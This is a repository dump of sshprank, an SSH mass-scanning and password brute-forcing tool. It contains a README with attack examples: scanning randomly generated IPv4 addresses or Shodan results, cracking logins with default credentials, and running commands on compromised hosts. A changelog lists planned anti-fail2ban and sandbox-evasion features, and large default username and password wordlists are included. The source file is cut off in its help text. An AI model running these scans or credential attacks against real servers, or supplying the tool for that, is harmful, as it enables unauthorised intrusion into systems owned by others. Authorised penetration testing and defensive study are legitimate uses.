Repository: noptrix/sshprank Branch: master Commit: 057db39cac02 Files: 9 Total size: 72.7 KB Directory structure: gitextract_655iuklf/ ├── .gitignore ├── README.md ├── docs/ │ ├── LICENSE │ ├── TODO │ └── requirements.txt ├── lists/ │ ├── combo.list │ ├── pws.list │ └── user.list └── sshprank.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .bash_history build.sh clean.sh *.db .DS_Store .git id_dsa id_rsa *.key *.log *.o owned.txt passwd paused.conf *.pyc __pycache__ shadow sshds.txt sshprank_session.json random_targets.txt *.swn *.swo *.swp tags .vim.session .zhistory .zsh_history ================================================ FILE: README.md ================================================ # Description A fast SSH mass-scanner, login cracker, banner grabber and password auth checker tool using the python-masscan and shodan module. # Usage ``` [ hacker@blackarch ~ ]$ sshprank -H __ __ __________/ /_ ____ _________ _____ / /__ / ___/ ___/ __ \/ __ \/ ___/ __ `/ __ \/ //_/ (__ |__ ) / / / /_/ / / / /_/ / / / / ,< /____/____/_/ /_/ .___/_/ \__,_/_/ /_/_/|_| /_/ --== [ by nullsecurity.net ] ==-- usage sshprank [opts] | mode options -h - single host, cidr, ip range or host list file to crack. multiple ports can be separated by comma, e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22 or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50 (default port: 22) -m [-r ] - pass arbitrary masscan opts, portscan given hosts and crack for logins. found sshd services will be saved to 'sshds.txt' in supported format for '-h' option and even for '-b'. use '-r' for generating random ipv4 addresses rather than scanning given hosts. these options are always on: '-sS -oX - --open'. NOTE: if you intent to use the '--banner' option then you need to specify '--source-ip ' which is needed by masscan. better check masscan options! -s - search ssh servers using shodan and crack logins. see examples below. note: you need a better API key than this one i offer in order to search more than 100 (= 1 page) ssh servers. so if you use this one use '1' for 'page'. -b - grab sshd banner from given target(s) (default port: 22) format: same as '-h' option -p - check sshd(s) for password auth support (default port: 22) format: same as '-h' option scan options -r - generate random ipv4 addresses, check for open sshd port and crack for login (only with -m option!) credential options -U - single username or user list (default: root) -P - single password or password list (default: root) -c - list of user:pass combination brute options -e - exclude host after first login was found. continue with other hosts instead -E - exit sshprank completely after first login was found -z - shuffle target list randomly before cracking (only with -h ). saves to 'random_targets.txt' -Z - random brute: pick random target + creds each attempt. total attempts, 0 = infinite (use with -h, -U/-P) exec options -C - read commands from file (line by line) or execute a single command on host if login was cracked -N - do not output ssh command results thread options -x - num threads for parallel host crack (default: 50) -S - num threads for parallel service crack (default: 20) -X - num threads for parallel login crack (default: 5) -B - num threads for parallel banner grabbing (default: 70) timeout options -T - num sec for auth and connect timeout (default: 5s) -R - num sec for (banner) read timeout (default: 3s) output options -o - write found logins to file. format: ::: (default: owned.txt) -v - verbose mode. show found logins, sshds, etc. (default: off) misc options -i - spoof ssh client version string sent to sshd (default: paramiko's default version string) -w - session file: if it exists, restore progress from it (skip already-tried creds). on ctrl+c / -E, state is auto-saved to ./sshprank_session.json (or to if -w was given). pass it back via -w to resume. -H - print help -V - print version information examples # crack targets from a given list with user admin, pw-list and 20 host-threads $ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20 # first scan then crack from founds ssh services using 'root:admin' $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \ --range 192.168.13.1/24' -P admin # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s # and crack logins using 'root:root' on found sshds $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v # search 50 ssh servers via shodan and crack logins using 'root:root' against # found sshds $ sshprank -s 'SSH;1;50' # grab banners and output to file with format supported for '-h' option $ sshprank -b hosts.txt > sshds2.txt # check if sshds support password auth $ sshprank -p sshds.txt -v # shuffle target list and crack $ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt # random brute: 500 random attempts from ip/user/pass lists $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500 # random brute infinite (ctrl+c to stop) $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0 # spoof ssh client version and crack $ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1' # check pwauth with spoofed version $ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v # session file: ctrl+c, then run again to resume $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json ``` # Author noptrix # Notes - quick'n'dirty code - sshprank is already packaged and available for [BlackArch Linux](https://www.blackarch.org/) - My master-branches are always stable; dev-branches are created for current work. - All of my public stuff you find are officially announced and published via [nullsecurity.net](https://www.nullsecurity.net). # License Check docs/LICENSE. # Disclaimer We hereby emphasize, that the hacking related stuff found on [nullsecurity.net](http://nullsecurity.net/) are only for education purposes. We are not responsible for any damages. You are responsible for your own actions. ================================================ FILE: docs/LICENSE ================================================ The MIT License (MIT) Copyright (c) 2012-2025 noptrix Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: docs/TODO ================================================ ===> 1.x.x [ ] new feature anti fail2ban [ ] new feature honeypot detection system [ ] new featrue sandbox detection ===> 1.7.0 [x] new feature live progress display in quiet mode: '[+] cracking X/Y (XX.XX%)' based on userlist*passlist + combolist; '[+] cracking X attempts' for -Z 0 infinite mode [x] new feature session save/restore via -w : skip already-tried creds on resume after Ctrl+C / -E / completion. JSON file with iteration position per (host, port) + excluded sets + sha256 hashes for lax mismatch warning [x] update cidr range support for -h/-p, e.g. '192.168.1.0/24:22,2022'. expanded into a temp host list, auto-cleaned on exit [x] update ip range support for -h/-p, e.g. '192.168.1.10-192.168.1.50:22' or short octet form '10.0.0.1-50'. expanded into a temp host list, auto-cleaned on exit [x] update -b now accepts the same target formats as -h: single host, host list file, cidr, ip range. help text simplified for -b/-p [x] update remote command exec hardened: each cmd in own try/except, stdin shutdown_write to unblock stdin-reading commands [x] update check_pwauth probe creds 'nobody:x' -> '__sshprank_probe__:' to avoid collisions with real accounts [x] update dropped dead imports (as_completed, ALL_COMPLETED, deque) and redundant 'global' decls [x] update stabilized opts default types: targets {} (not []), targetlist None (not []) [x] update cidr/range expansion capped at 1M hosts to prevent oom/disk dos on typos like /0 or huge ranges [x] update sigterm now triggers session save (handler raises keyboardinterrupt) [x] update session auto-saves to ./sshprank_session.json on ctrl+c / -E even without -w. -w is only required to resume. -p/-b/-Z modes opt-out [x] bugfix double ctrl+c during cleanup produced ugly threading shutdown traceback - finally now ignores signals during cleanup, then os._exit bypasses the threadpool join wait [x] update skip duplicate initial root:root attempt when -U/-P/-c list given; _creds_per_port() count adjusted accordingly [x] bugfix -p with single host wrongly dispatched to crack_single() - reordered main() dispatch by mode flag first [x] bugfix -i ssh-version spoof had no effect - now sets Transport._CLIENT_ID (instance __init__ overwrites local_version) [x] bugfix malformed combo lines killed process - now warned and skipped ===> 1.6.1 [x] bugfix false-positive logins on banner-echo sshds - added open_session() check [x] bugfix -e race losing first-login claim - fixed with lock + double-check [x] bugfix getopt dropped args after first non-option - switched to gnu_getopt + reject leftover positional args [x] bugfix OOM on big target lists - bounded ThreadPool submission via wait(FIRST_COMPLETED) [x] bugfix read_file() peaked 3-4x file size via mmap pipeline - replaced with plain line iteration [x] update exec_command() hardcoded timeout=2 - now uses opts['ctimeout'] [x] bugfix excluded[host] race/wipe in run_threads + crack_rand_brute - fixed with setdefault [x] bugfix empty target lines produced ghost connects - skip them [x] bugfix log_targets() os._exit on write error killed process - now warn + continue; also 'a+' -> 'a' [x] update bare except: in read_file/grab_banner/gen_ipv4addr - replaced with specific exceptions [x] update crack_rand_brute() spawned pool per batch - one persistent pool with bounded submission [x] update check_pwauth() re-imported paramiko.transport per call - hoisted to module-level [x] update validate -x/-S/-X/-B (>=1), -r (>=1), -Z (>=0) - clear error instead of silent no-op ===> 1.6.0 [x] update updated lists/* (optimized user/pws/combo wordlists: added cloud/devops accounts, modern pw patterns, cross-combos like root:toor, pi:raspberry) [x] bugfix combo list parsing used split(':') causing passwords containing ':' to be truncated - fixed with split(':', 1) [x] bugfix read_file() used .split() which broke passwords/usernames containing spaces - fixed with .splitlines() [x] bugfix -e option only excluded the specific port instead of the entire host - fixed with separate excluded_hosts set for host-level exclusion [x] bugfix -N with single -C command never executed the command at all - exec_command() was inside the cmd_no_out guard [x] bugfix log_targets() was not thread-safe - concurrent login finds could corrupt the output file - fixed with threading lock [x] bugfix grab_banner() crashed on non-UTF-8 banner bytes - fixed with errors='replace' [x] bugfix check_pwauth() leaked socket when Transport() failed - added sock.close() to finally block [x] bugfix portscan() error message printed literal 'str(err)' instead of the actual error string [x] bugfix shodan page/limit passed as strings instead of int to api.search() [x] bugfix crack_rand_brute() (-Z) ignored combolist (-c), silently fell back to 'root:root' [x] bugfix -C file mode sent commands with trailing newline to exec_command() [x] bugfix -C stderr output was never read/shown - remote errors were silently swallowed [x] bugfix -C file mode variable 'line' shadowed by inner output loop - refactored to use 'cmd' and 'out'/'err' loop vars [x] new feature: check sshd for password auth support (-p) [x] update renamed credential options: -u -> -U, -p -> -P [x] update dynamic kex/cipher/digest coverage via paramiko internals [x] new feature add option to spoof client (paramiko) ssh-version (-i) ===> 1.5.0 [x] randomize ipfile (sort as random ips.txt) [x] random brute (take random ip from ips and random user:pass from user files ) and brute it [x] categorized help options (mode, scan, credential, brute, exec, thread, timeout, output options) [x] renamed 'modes' -> 'mode options', 'misc' -> 'misc options' for consistency ===> 1.4.4 [x] bugfix port variable leak in run_threads() - inner executor was outside the port loop, causing credential lists to only be tested against the last port when multiple ports were specified [x] bugfix NameError on undefined 'futures' in run_threads() when -E was used - removed dead code block (crack_login() already calls os._exit()) [x] bugfix grab_banner() crash when create_connection() fails - s was unassigned in finally block [x] bugfix publickey-only port exclusion was gated behind verbose mode, now always applied [x] update uncommented SSHException and Exception logging (verbose mode) ===> 1.4.3 [x] bugfix fixed Python's "SyntaxWarning" [x] update updated COPYRIGHT info ===> 1.4.2 [x] bugfix banner option [x] update updated lists/* ===> 1.4.1 [x] update updated help() and README.md (old options were present) ===> 1.4.0 [x] update updated lists/* (added more default passwords and usernames) [x] new feature add 'exclude host after first login was found' option (-e) [x] new feature add 'exit sshprank after first login was found' option (-E) [x] update swap options: '-C' -> '-c' [x] update merge options: '-l' -> '-h', '-U' -> '-u', '-P' -> '-p' ===> 1.3.5 [x] update remove pf.close() call ===> 1.3.4 [x] update remove open() calls ===> 1.3.3 [x] update use mmap to read wordlist files ===> 1.3.2 [x] update decrease default hosts threads num ===> 1.3.1 [x] bugfix close file descriptor... ===> 1.3.0 [x] update updated default thread nums for host, service and login. [x] new feature add new option to not output ssh command results ('-N') [x] new feature read and run commands from file on target (github: #5) [x] bugfix fix high memory usage (github: #9) ===> 1.2.3 [x] update increase default auth and connect timeout [x] update use 'info' for 'saved found sshds.txt' rather than 'good' [x] update use status() for shodan_search() [x] update updated short description in script file ===> 1.2.2 [x] update call log() only in one place after AuthenticationException occurs [x] update skip further actions if targets file could not be read ('-l' option) ===> 1.2.1 [x] update only print exclusion infos in verbose mode [x] update use spin() output for scanning and cracking targets [x] update update wordings in the examples ===> 1.2.0 [x] update exclude targets if service is not running or pubkey auth only is supported ===> 1.1.3 [x] update print small info if login found (for non-verbose mode) [x] new feature add uid (root) check for '-m' option [x] update change wordings a bit ===> 1.1.0 [x] bugfix fix color codes [x] update use new python format style (f'{foo}') [x] update add leet and important ascii banner ===> 1.0.0 [x] update mark stable + release ===> 0.0.3 [x] new feature implement remote ssh command exec [x] new feature implement random target cracking [x] new feature implement read timeout for banner grabbing [x] update print found login only if '-v' was chosen [x] update os exit on found login [x] update remove colorama bullshit [x] bugfix fix banner grab issue (non-banner sshds, e.g. 'open' only were ignored) [x] update by default don't use masscan's --banner option ===> 0.0.2 [x] update use deque() rather than lists for MT ===> 0.0.1 [x] initial initial release ================================================ FILE: docs/requirements.txt ================================================ paramiko python-masscan shodan ================================================ FILE: lists/combo.list ================================================ accounting:accounting admin:1234 admin:12345 admin:123456 admin:admin admin:admin@123 admin:admin123 admin:password ansible:ansible apache:apache backup:backup centos:centos debian:debian default:default deploy:deploy dev:dev developer:developer ec2-user:ec2-user elastic:elastic ftp:ftp ftpuser:ftpuser fwadmin:fwadmin git:git guest01:guest01 guest1:guest1 guest:guest hadoop:hadoop http:http info:info installer:installer jenkins:jenkins login:login mailadmin:mailadmin mail:mail maintainer:maintainer manager:manager minecraft:minecraft monitor:monitor mysql:mysql nagios:nagios nginx:nginx nobody:nobody none:none operator:operator op:op oracle:oracle pi:pi pi:raspberry postgres:postgres power:power readonly:readonly root:1234 root:12345 root:123456 root:admin root:password root:root root:toor setup:setup ssh:ssh student:student superadmin:superadmin superuser:superuser support:support sysadmin:sysadmin sys:sys system:system teacher:teacher tester:tester test:test test:test123 tomcat:tomcat toor:root toor:toor ubuntu:ubuntu user01:user01 user1:user1 user:password user:user vagrant:vagrant web01:web01 web1:web1 webadmin:webadmin webmaster:webmaster web:web www-data:www-data www:www zabbix:zabbix ================================================ FILE: lists/pws.list ================================================ !!!! .... $ummer! $ummer# $ummer. $ummer? $ummer@ $ummer1 $ummer1! $ummer1? $ummer12 $ummer12! $ummer12? $ummer123 $ummer123! $ummer123? $ummer2 $ummer2! $ummer2? $ummer321 $ummer321! $ummer321? 0000 000000 00000000 1$ummer 1$ummer! 1$ummer? 1111 111111 12$ummer 12$ummer! 12$ummer? 123$ummer 123$ummer! 123$ummer? 1234 12345 123456 1234567 12345678 123456789 1234567890 1234root 1234test 123admin 123autumn 123autumn! 123autumn? 123Autumn 123Autumn! 123Autumn? 123AUTUMN 123AUTUMN! 123AUTUMN? 123demo 123dev 123fall 123fall! 123fall? 123Fall 123Fall! 123Fall? 123FALL 123FALL! 123FALL? 123f@ll 123f@ll! 123f@ll? 123F@ll 123F@ll! 123F@ll? 123login 123manager 123mysql 123none 123pa$$word 123pa$$word! 123pa$$word? 123Pa$$word 123Pa$$word! 123Pa$$word? 123pass 123passw0rd 123passw0rd! 123passw0rd? 123Passw0rd 123Passw0rd! 123Passw0rd? 123password 123password! 123password? 123Password 123Password! 123Password? 123PASSWORD 123PASSWORD! 123PASSWORD? 123postgres 123p@ssword 123p@ssword! 123p@ssword? 123P@ssword 123P@ssword! 123P@ssword? 123root 123summer 123summer! 123summer? 123Summer 123Summer! 123Summer? 123SUMMER 123SUMMER! 123SUMMER? 123sys 123system 123test 123tomcat 123toor 123user 123@utumn 123@utumn! 123@utumn? 123web 123winter 123winter! 123winter? 123Winter 123Winter! 123Winter? 123WINTER 123WINTER! 123WINTER? 123www 12autumn 12autumn! 12autumn? 12Autumn 12Autumn! 12Autumn? 12AUTUMN 12AUTUMN! 12AUTUMN? 12fall 12fall! 12fall? 12Fall 12Fall! 12Fall? 12FALL 12FALL! 12FALL? 12f@ll 12f@ll! 12f@ll? 12F@ll 12F@ll! 12F@ll? 12pa$$word 12pa$$word! 12pa$$word? 12Pa$$word 12Pa$$word! 12Pa$$word? 12passw0rd 12passw0rd! 12passw0rd? 12Passw0rd 12Passw0rd! 12Passw0rd? 12password 12password! 12password? 12Password 12Password! 12Password? 12PASSWORD 12PASSWORD! 12PASSWORD? 12p@ssword 12p@ssword! 12p@ssword? 12P@ssword 12P@ssword! 12P@ssword? 12summer 12summer! 12summer? 12Summer 12Summer! 12Summer? 12SUMMER 12SUMMER! 12SUMMER? 12@utumn 12@utumn! 12@utumn? 12winter 12winter! 12winter? 12Winter 12Winter! 12Winter? 12WINTER 12WINTER! 12WINTER? 1autumn 1autumn! 1autumn? 1Autumn 1Autumn! 1Autumn? 1AUTUMN 1AUTUMN! 1AUTUMN? 1fall 1fall! 1fall? 1Fall 1Fall! 1Fall? 1FALL 1FALL! 1FALL? 1f@ll 1f@ll! 1f@ll? 1F@ll 1F@ll! 1F@ll? 1pa$$word 1pa$$word! 1pa$$word? 1Pa$$word 1Pa$$word! 1Pa$$word? 1pa$$word1 1Pa$$word1 1pa$$word2 1Pa$$word2 1pa$$word3 1Pa$$word3 1passw0rd 1passw0rd! 1passw0rd? 1Passw0rd 1Passw0rd! 1Passw0rd? 1passw0rd1 1Passw0rd1 1passw0rd2 1Passw0rd2 1passw0rd3 1Passw0rd3 1password 1password! 1password? 1Password 1Password! 1Password? 1PASSWORD 1PASSWORD! 1PASSWORD? 1password1 1Password1 1PASSWORD1 1password2 1Password2 1PASSWORD2 1password3 1Password3 1PASSWORD3 1p@ssword 1p@ssword! 1p@ssword? 1P@ssword 1P@ssword! 1P@ssword? 1p@ssword1 1P@ssword1 1p@ssword2 1P@ssword2 1p@ssword3 1P@ssword3 1q2w3e4r 1q2w3e4r! 1summer 1summer! 1summer? 1Summer 1Summer! 1Summer? 1SUMMER 1SUMMER! 1SUMMER? 1@utumn 1@utumn! 1@utumn? 1winter 1winter! 1winter? 1Winter 1Winter! 1Winter? 1WINTER 1WINTER! 1WINTER? 2$ummer 2$ummer! 2$ummer? 2020 2021 2022 2023 2024 2025 2222 2autumn 2autumn! 2autumn? 2Autumn 2Autumn! 2Autumn? 2AUTUMN 2AUTUMN! 2AUTUMN? 2fall 2fall! 2fall? 2Fall 2Fall! 2Fall? 2FALL 2FALL! 2FALL? 2f@ll 2f@ll! 2f@ll? 2F@ll 2F@ll! 2F@ll? 2pa$$word 2pa$$word! 2pa$$word? 2Pa$$word 2Pa$$word! 2Pa$$word? 2pa$$word1 2Pa$$word1 2pa$$word2 2Pa$$word2 2pa$$word3 2Pa$$word3 2passw0rd 2passw0rd! 2passw0rd? 2Passw0rd 2Passw0rd! 2Passw0rd? 2passw0rd1 2Passw0rd1 2passw0rd2 2Passw0rd2 2passw0rd3 2Passw0rd3 2password 2password! 2password? 2Password 2Password! 2Password? 2PASSWORD 2PASSWORD! 2PASSWORD? 2password1 2Password1 2PASSWORD1 2password2 2Password2 2PASSWORD2 2password3 2Password3 2PASSWORD3 2p@ssword 2p@ssword! 2p@ssword? 2P@ssword 2P@ssword! 2P@ssword? 2p@ssword1 2P@ssword1 2p@ssword2 2P@ssword2 2p@ssword3 2P@ssword3 2summer 2summer! 2summer? 2Summer 2Summer! 2Summer? 2SUMMER 2SUMMER! 2SUMMER? 2@utumn 2@utumn! 2@utumn? 2winter 2winter! 2winter? 2Winter 2Winter! 2Winter? 2WINTER 2WINTER! 2WINTER? 321$ummer 321$ummer! 321$ummer? 321autumn 321autumn! 321autumn? 321Autumn 321Autumn! 321Autumn? 321AUTUMN 321AUTUMN! 321AUTUMN? 321fall 321fall! 321fall? 321Fall 321Fall! 321Fall? 321FALL 321FALL! 321FALL? 321f@ll 321f@ll! 321f@ll? 321F@ll 321F@ll! 321F@ll? 321pa$$word 321pa$$word! 321pa$$word? 321Pa$$word 321Pa$$word! 321Pa$$word? 321passw0rd 321passw0rd! 321passw0rd? 321Passw0rd 321Passw0rd! 321Passw0rd? 321password 321password! 321password? 321Password 321Password! 321Password? 321PASSWORD 321PASSWORD! 321PASSWORD? 321p@ssword 321p@ssword! 321p@ssword? 321P@ssword 321P@ssword! 321P@ssword? 321summer 321summer! 321summer? 321Summer 321Summer! 321Summer? 321SUMMER 321SUMMER! 321SUMMER? 321@utumn 321@utumn! 321@utumn? 321winter 321winter! 321winter? 321Winter 321Winter! 321Winter? 321WINTER 321WINTER! 321WINTER? 3333 3pa$$word 3Pa$$word 3pa$$word1 3Pa$$word1 3pa$$word2 3Pa$$word2 3pa$$word3 3Pa$$word3 3passw0rd 3Passw0rd 3passw0rd1 3Passw0rd1 3passw0rd2 3Passw0rd2 3passw0rd3 3Passw0rd3 3password 3Password 3PASSWORD 3password1 3Password1 3PASSWORD1 3password2 3Password2 3PASSWORD2 3password3 3Password3 3PASSWORD3 3p@ssword 3P@ssword 3p@ssword1 3P@ssword1 3p@ssword2 3P@ssword2 3p@ssword3 3P@ssword3 4444 5555 654321 6666 7777 8888 9999 abc123 accounting admin admin@123 admin123 Admin123 Admin123! admin2023 admin2024 admin2025 ansible apache asdf asdf123 asdf1234 asdfg asdfg1234 asdfg12345 autumn autumn! autumn# autumn. autumn? autumn@ Autumn Autumn! Autumn# Autumn. Autumn? Autumn@ AUTUMN! AUTUMN# AUTUMN. AUTUMN? AUTUMN@ autumn1 autumn1! autumn1? Autumn1 Autumn1! Autumn1? AUTUMN1 AUTUMN1! AUTUMN1? autumn12 autumn12! autumn12? Autumn12 Autumn12! Autumn12? AUTUMN12 AUTUMN12! AUTUMN12? autumn123 autumn123! autumn123? Autumn123 Autumn123! Autumn123? AUTUMN123 AUTUMN123! AUTUMN123? autumn2 autumn2! autumn2? Autumn2 Autumn2! Autumn2? AUTUMN2 AUTUMN2! AUTUMN2? autumn321 autumn321! autumn321? Autumn321 Autumn321! Autumn321? AUTUMN321 AUTUMN321! AUTUMN321? backup black black1 black1! black123 black123! blue blue1 blue1! blue123 blue123! changeme changeme1 changeme123 Changeme123! debian default demo demo123 demos deploy dev dev123 dragon elastic fall! fall# fall. fall? fall@ Fall! Fall# Fall. Fall? Fall@ FALL! FALL# FALL. FALL? FALL@ fall1 fall1! fall1? Fall1 Fall1! Fall1? FALL1 FALL1! FALL1? fall12 fall12! fall12? Fall12 Fall12! Fall12? FALL12 FALL12! FALL12? fall123 fall123! fall123? Fall123 Fall123! Fall123? FALL123 FALL123! FALL123? fall2 fall2! fall2? Fall2 Fall2! Fall2? FALL2 FALL2! FALL2? fall321 fall321! fall321? Fall321 Fall321! Fall321? FALL321 FALL321! FALL321? f@ll! f@ll# f@ll. f@ll? f@ll@ F@ll! F@ll# F@ll. F@ll? F@ll@ f@ll1 f@ll1! f@ll1? F@ll1 F@ll1! F@ll1? f@ll12 f@ll12! f@ll12? F@ll12 F@ll12! F@ll12? f@ll123 f@ll123! f@ll123? F@ll123 F@ll123! F@ll123? f@ll2 f@ll2! f@ll2? F@ll2 F@ll2! F@ll2? f@ll321 f@ll321! f@ll321? F@ll321 F@ll321! F@ll321? ftp ftpuser fuck! fuck1 fuck1! Fuck1 fuck123! Fuck123 Fuck123! fuckoff fuckoff! FuckOff fuckoff1 fuckoff1! fuckoff123 fuckoff123! fuckyou fuckyou! FuckYou FuckYou! FUCKYOU! FUCKYOU1! FuckYou123! FUCKYOU123 fwadmin git gold gold1 gold1! gold123 gold123! green guest guest01 guest1 hadoop http iloveyou installer jenkins letmein linux Linux linux123 login login! login123 login1234 mail mailadmin maintainer manager manager123 master Master master1 master1! Master1 Master1! master123 master123! Master123 Master123! minecraft monitor monkey mysql mysql123 nagios nginx nobody none none123 op operator oracle orange orange1 orange1! orange123 orange123! P@$$w0rd P@$$word pa$$word pa$$word! pa$$word# pa$$word. pa$$word? pa$$word@ Pa$$word Pa$$word! Pa$$word# Pa$$word. Pa$$word? Pa$$word@ pa$$word1 pa$$word1! pa$$word1? Pa$$word1 Pa$$word1! Pa$$word1? pa$$word12 pa$$word12! pa$$word12? Pa$$word12 Pa$$word12! Pa$$word12? pa$$word123 pa$$word123! pa$$word123? Pa$$word123 Pa$$word123! Pa$$word123? pa$$word2 pa$$word2! pa$$word2? Pa$$word2 Pa$$word2! Pa$$word2? pa$$word3 Pa$$word3 pa$$word321 pa$$word321! pa$$word321? Pa$$word321 Pa$$word321! Pa$$word321? pass! PASS pass@123 pass123 Pass123! PASS123 pass1234 passw0rd passw0rd! passw0rd# passw0rd. passw0rd? passw0rd@ Passw0rd Passw0rd! Passw0rd# Passw0rd. Passw0rd? Passw0rd@ passw0rd1 passw0rd1! passw0rd1? Passw0rd1 Passw0rd1! Passw0rd1? passw0rd12 passw0rd12! passw0rd12? Passw0rd12 Passw0rd12! Passw0rd12? passw0rd123 passw0rd123! passw0rd123? Passw0rd123 Passw0rd123! Passw0rd123? passw0rd2 passw0rd2! passw0rd2? Passw0rd2 Passw0rd2! Passw0rd2? passw0rd3 Passw0rd3 passw0rd321 passw0rd321! passw0rd321? Passw0rd321 Passw0rd321! Passw0rd321? password password! password# password. password? password@ Password Password! Password# Password. Password? Password@ PassWord PASSWORD PASSWORD! PASSWORD# PASSWORD. PASSWORD? PASSWORD@ password1 password1! password1? Password1 Password1! Password1? PASSWORD1 PASSWORD1! PASSWORD1? password12 password12! password12? Password12 Password12! Password12? PASSWORD12 PASSWORD12! PASSWORD12? password123 password123! password123? Password123 Password123! Password123? PASSWORD123 PASSWORD123! PASSWORD123? password2 password2! password2? Password2 Password2! Password2? PASSWORD2 PASSWORD2! PASSWORD2? password3 Password3 PASSWORD3 password321 password321! password321? Password321 Password321! Password321? PASSWORD321 PASSWORD321! PASSWORD321? pi pink pink1 pink1! pink123 pink123! postgres postgres123 power power1 power1! power123 power123! P@ssw0rd p@ssword p@ssword! p@ssword# p@ssword. p@ssword? p@ssword@ P@ssword P@ssword! P@ssword# P@ssword. P@ssword? P@ssword@ p@ssword1 p@ssword1! p@ssword1? P@ssword1 P@ssword1! P@ssword1? p@ssword12 p@ssword12! p@ssword12? P@ssword12 P@ssword12! P@ssword12? p@ssword123 p@ssword123! p@ssword123? P@ssword123 P@ssword123! P@ssword123? p@ssword2 p@ssword2! p@ssword2? P@ssword2 P@ssword2! P@ssword2? p@ssword3 P@ssword3 p@ssword321 p@ssword321! p@ssword321? P@ssword321 P@ssword321! P@ssword321? purple purple1 purple1! purple123 purple123! pw123 pw123! PW123 PW123! pw1234 PW1234 PW1234! pwd pwd1 pwd1! Pwd1! pwd123 pwd123! pwer1234! qwerty qwerty123 qwerty1234 qwerty12345 qwertz qwertz123 qwertz1234 qwertz12345 raspberry readonly red red1 red1! red123 red123! root ROOT root123 ROOT123 root1234 root2024 setup setup1 setup1! setup123 silver spring Spring SPRING spring1 spring1! Spring1 spring123 spring123! Spring123 Spring123! ssh ssh123 ssh123! student summer summer! summer# summer. summer? summer@ Summer! Summer# Summer. Summer? Summer@ SUMMER SUMMER! SUMMER# SUMMER. SUMMER? SUMMER@ summer1 summer1! summer1? Summer1 Summer1! Summer1? SUMMER1 SUMMER1! SUMMER1? summer12 summer12! summer12? Summer12 Summer12! Summer12? SUMMER12 SUMMER12! SUMMER12? summer123 summer123! summer123? Summer123 Summer123! Summer123? SUMMER123 SUMMER123! SUMMER123? summer1234 Summer1234 summer2 summer2! summer2? Summer2 Summer2! Summer2? SUMMER2 SUMMER2! SUMMER2? summer321 summer321! summer321? Summer321 Summer321! Summer321? SUMMER321 SUMMER321! SUMMER321? superadmin superuser support sys sys1 sys1! sys123 sysadmin system system1 system1! system123 System123 System123! teacher test test1 test1! test123 test123! test1234 test2024 tester tester1 tester1! tester123 tester1234 testtest TestTest tomcat tomcat123 toor toor123 ubuntu user user01 user1 user1! user123 @utumn! @utumn# @utumn. @utumn? @utumn@ @utumn1 @utumn1! @utumn1? @utumn12 @utumn12! @utumn12? @utumn123 @utumn123! @utumn123? @utumn2 @utumn2! @utumn2? @utumn321 @utumn321! @utumn321? vagina Vagina vagina1 vagina1! Vagina1 vagina123 vagina123! vagrant web web01 web1 web123 webadmin webmaster webmaster123 welcome welcome1 Welcome1! welcome123 Welcome123! white white1 white1! white123 white123! winter winter! winter# winter. winter? winter@ Winter Winter! Winter# Winter. Winter? Winter@ WINTER WINTER! WINTER# WINTER. WINTER? WINTER@ winter1 winter1! winter1? Winter1 Winter1! Winter1? WINTER1 WINTER1! WINTER1? winter12 winter12! winter12? Winter12 Winter12! Winter12? WINTER12 WINTER12! WINTER12? winter123 winter123! winter123? Winter123 Winter123! Winter123? WINTER123 WINTER123! WINTER123? winter2 winter2! winter2? Winter2 Winter2! Winter2? WINTER2 WINTER2! WINTER2? winter321 winter321! winter321? Winter321 Winter321! Winter321? WINTER321 WINTER321! WINTER321? www www123 www-data yellow zabbix ================================================ FILE: lists/user.list ================================================ accounting admin ansible apache backup centos debian default deploy dev developer ec2-user elastic ftp ftpuser fwadmin git guest guest01 guest1 hadoop http info installer jenkins login mail mailadmin maintainer manager minecraft monitor mysql nagios nginx nobody none op operator oracle pi postgres power readonly root setup ssh student superadmin superuser support sys sysadmin system teacher test tester tomcat toor ubuntu user user01 user1 vagrant web web01 web1 webadmin webmaster www www-data zabbix ================================================ FILE: sshprank.py ================================================ #!/usr/bin/python3 # -*- coding: utf-8 -*- ######################################################## # ____ _ __ # # ___ __ __/ / /__ ___ ______ ______(_) /___ __ # # / _ \/ // / / (_- [opts] | ''' + BOLD + '''mode options''' + NORM + ''' -h - single host, cidr, ip range or host list file to crack. multiple ports can be separated by comma, e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22 or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50 (default port: 22) -m [-r ] - pass arbitrary masscan opts, portscan given hosts and crack for logins. found sshd services will be saved to 'sshds.txt' in supported format for '-h' option and even for '-b'. use '-r' for generating random ipv4 addresses rather than scanning given hosts. these options are always on: '-sS -oX - --open'. NOTE: if you intent to use the '--banner' option then you need to specify '--source-ip ' which is needed by masscan. better check masscan options! -s - search ssh servers using shodan and crack logins. see examples below. note: you need a better API key than this one i 